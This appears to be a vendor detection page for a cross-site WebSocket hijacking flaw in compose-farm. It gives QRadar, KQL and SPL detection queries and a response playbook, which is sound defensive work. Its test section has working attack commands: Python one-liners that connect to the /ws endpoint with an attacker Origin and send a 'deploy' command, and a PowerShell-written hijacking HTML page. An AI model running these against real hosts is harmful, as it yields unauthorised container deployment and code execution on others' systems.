Detect CVE-2026-136184: compose-farm Cross-Site WebSocket Hijacking & CSRF (Unauthenticated Web UI RCE) in IBM QRadar
Detects exploitation of CVE-2026-136184, a cross-site WebSocket hijacking (CSWSH) and cross-site request forgery vulnerability in basnijholt/compose-farm versions 0.19.0 before 1.22.0. The unauthenticated web UI WebSocket endpoint (src/compose_farm/web/ws.py) performs no Origin validation and no authentication, allowing a malicious web page visited by a victim with network access to compose-farm to open a cross-origin WebSocket and issue privileged commands (deploy/up/down of Docker Compose stacks), yielding remote code execution via arbitrary container orchestration. Detection focuses on WebSocket upgrade requests to the compose-farm UI carrying a cross-site or attacker-controlled Origin header, missing/absent authentication, and subsequent stack-management command execution that correlates with docker compose child-process activity on the host.
MITRE ATT&CK
QRadar Detection Query
-- df00tech DF00-3668a7895e · https://df00tech.com/detections/CVE-2026-136184 · licence: https://df00tech.com/detections/licence
SELECT sourceip, destinationip, "URL" AS url, "Origin" AS origin_header, QIDNAME(qid) AS event_name FROM events WHERE ("URL" ILIKE '%/ws%') AND "Origin" IS NOT NULL AND LOWER("Origin") NOT ILIKE '%' || LOWER("Host") || '%' AND ("Upgrade" ILIKE 'websocket' OR "URL" ILIKE '%compose-farm%') ORDER BY starttime DESC LAST 24 HOURS Returns WebSocket upgrade events to compose-farm '/ws' where the Origin header host does not contain the Host header, flagging cross-site WebSocket hijacking attempts.
Data Sources
Required Tables
False Positives & Tuning
- Custom log sources that normalize Origin and Host inconsistently, producing spurious mismatches.
- Reverse-proxy fronted deployments presenting distinct Origin and Host values.
- Vulnerability scanners generating synthetic WebSocket upgrade requests.
Other platforms for CVE-2026-136184
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Cross-origin WebSocket upgrade to compose-farm /ws
Expected signal: Proxy/firewall HTTP log of a WebSocket upgrade to /ws with Origin http://evil.example not matching the host.
- Test 2 CSRF-style stack deploy via WebSocket command
Expected signal: docker/dockerd process execution (docker compose up) correlated with the cross-origin WebSocket session.
- Test 3 Browser-driven cross-site WebSocket from untrusted page
Expected signal: Browser process initiating a WebSocket connection to the compose-farm host with a file:// or external Origin.
References (7)
- https://github.com/basnijholt/compose-farm/blob/v1.21.5/src/compose_farm/web/ws.py#L250-L256
- https://github.com/basnijholt/compose-farm/commit/244d56c022de61d2c6b3543b5c973ced97de6cc8
- https://github.com/basnijholt/compose-farm/commit/d944a28f0aca4ef2bd20f397bc75c7869f1efe7c
- https://github.com/basnijholt/compose-farm/commit/df21578fcc8e6ed439406591e57b4f5673a51863
- https://github.com/basnijholt/compose-farm/releases/tag/v1.22.0
- https://github.com/basnijholt/compose-farm/security/advisories/GHSA-64fv-7j6v-8vjj
- https://www.vulncheck.com/advisories/compose-farm-0.19.0-before-1.22.0-cross-site-websocket-hijacking-rce-via-web-ui
Response Playbook
Triage
- Confirm the compose-farm version on the affected host; versions 0.19.0 through 1.21.5 are vulnerable and 1.22.0 is fixed. Check `pip show compose-farm` or the running container image tag.
- Review the WebSocket upgrade request's Origin header against the compose-farm host/FQDN, a mismatch with no corresponding authenticated session is the primary indicator of CSWSH.
- Correlate the time of the cross-origin /ws connection with docker compose up/down/deploy activity and container state changes on the host.
- Identify the victim client IP that opened the WebSocket and determine whether that user recently browsed to an untrusted external site (CSWSH requires a victim with network access to compose-farm).
Containment
- Block external and untrusted-network access to the compose-farm UI and WebSocket port at the firewall/reverse proxy immediately; restrict to a trusted management segment or VPN.
- Upgrade compose-farm to 1.22.0 or later, which adds Origin validation and authentication to the WebSocket endpoint.
- If upgrade is not immediately possible, place the UI behind an authenticating reverse proxy that enforces Origin checks and drops cross-site WebSocket upgrades.
Evidence Collection
- Capture proxy/firewall logs showing the /ws upgrade request, source IP, Origin header, and Host header.
- Collect docker/dockerd and compose-farm application logs and the process execution history (docker compose commands, container create/start events) for the exposure window.
- Snapshot affected container images and any newly created or modified Compose stacks for forensic comparison.
Escalation Criteria
- !Escalate to incident response if docker compose execution or new container deployment correlates with a confirmed cross-origin WebSocket connection, this indicates achieved RCE.
- !Escalate if the compose-farm UI was reachable from the internet or an untrusted network, as the exposure window and victim population are then unbounded.
Investigation Guide
Forensic Artifacts
- >
Reverse-proxy/firewall logs containing the WebSocket upgrade with mismatched Origin and Host headers. - >
Docker daemon event log (`docker events`) and container create/start records around the exposure time. - >
compose-farm application logs recording stack deploy/up/down operations and the originating session.
Tuning Guidance
Baseline the legitimate hostnames/FQDNs and reverse-proxy Origins used to reach the compose-farm UI, then allowlist those Origin/Host pairs to suppress benign mismatches. If the UI is correctly served from a single hostname, any Origin differing from that hostname on the /ws path is high-fidelity. After upgrading to 1.22.0, expect cross-origin upgrades to be rejected server-side; shift the detection to alert on rejected upgrade attempts as a probing indicator.
Hunting Queries
Hunt for cross-origin WebSocket upgrade attempts against compose-farm '/ws' endpoints across proxy/firewall telemetry.
// df00tech DF00-3668a7895e · https://df00tech.com/detections/CVE-2026-136184 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/ws" | extend OriginHeader = extract(@"[Oo]rigin:\s*([^\r\n;]+)", 1, AdditionalExtensions) | where isnotempty(OriginHeader) and not(tolower(OriginHeader) has tolower(DestinationHostName)) | project TimeGenerated, SourceIP, DestinationHostName, RequestURL, OriginHeader ``` df00tech DF00-3668a7895e · https://df00tech.com/detections/CVE-2026-136184 · licence: https://df00tech.com/detections/licence ```
index=proxy sourcetype="stream:http" uri="*/ws*" | eval origin=coalesce(http_origin,origin_header) | rex field=origin "^[a-z]+://(?<origin_host>[^/:]+)" | where isnotnull(origin) AND origin_host!=dest_host | stats count by src_ip dest_host origin Atomic Red Team Tests
Simulates a CSWSH attempt by opening a WebSocket to the compose-farm /ws endpoint with an attacker-controlled Origin header, as a malicious page's browser would.
Command
python3 -c "import websocket; ws=websocket.create_connection('ws://127.0.0.1:8000/ws', header=['Origin: http://evil.example'], suppress_origin=True); print(ws.recv()); ws.close()" Cleanup
echo 'No persistent artifacts; close any lingering WebSocket connections' Expected Telemetry
Proxy/firewall HTTP log of a WebSocket upgrade to /ws with Origin http://evil.example not matching the host.
Expected Detection
KQL/SPL cross-origin /ws detections fire on the Origin/Host mismatch.
Sends a stack management command over the hijacked WebSocket to trigger a docker compose operation, emulating RCE via orchestration.
Command
python3 -c "import websocket,json; ws=websocket.create_connection('ws://127.0.0.1:8000/ws', header=['Origin: http://evil.example']); ws.send(json.dumps({'action':'deploy','stack':'test'})); print(ws.recv()); ws.close()" Cleanup
docker compose -p test down 2>/dev/null || true Expected Telemetry
docker/dockerd process execution (docker compose up) correlated with the cross-origin WebSocket session.
Expected Detection
EQL sequence and CrowdStrike CQL compose_exec detections fire on the docker compose child process following the /ws upgrade.
Uses a headless browser loading an attacker HTML page that opens a WebSocket to compose-farm, reproducing the end-to-end CSWSH delivery path.
Command
powershell -c "$html='<script>var w=new WebSocket(\"ws://127.0.0.1:8000/ws\");w.onopen=function(){w.send(\"{\\\"action\\\":\\\"list\\\"}\")}</script>'; Set-Content -Path $env:TEMP\cswsh.html -Value $html; Start-Process msedge.exe (Join-Path $env:TEMP 'cswsh.html')" Cleanup
Remove-Item $env:TEMP\cswsh.html -ErrorAction SilentlyContinue Expected Telemetry
Browser process initiating a WebSocket connection to the compose-farm host with a file:// or external Origin.
Expected Detection
Cross-origin /ws upgrade detections fire on the mismatched/absent same-origin Origin header.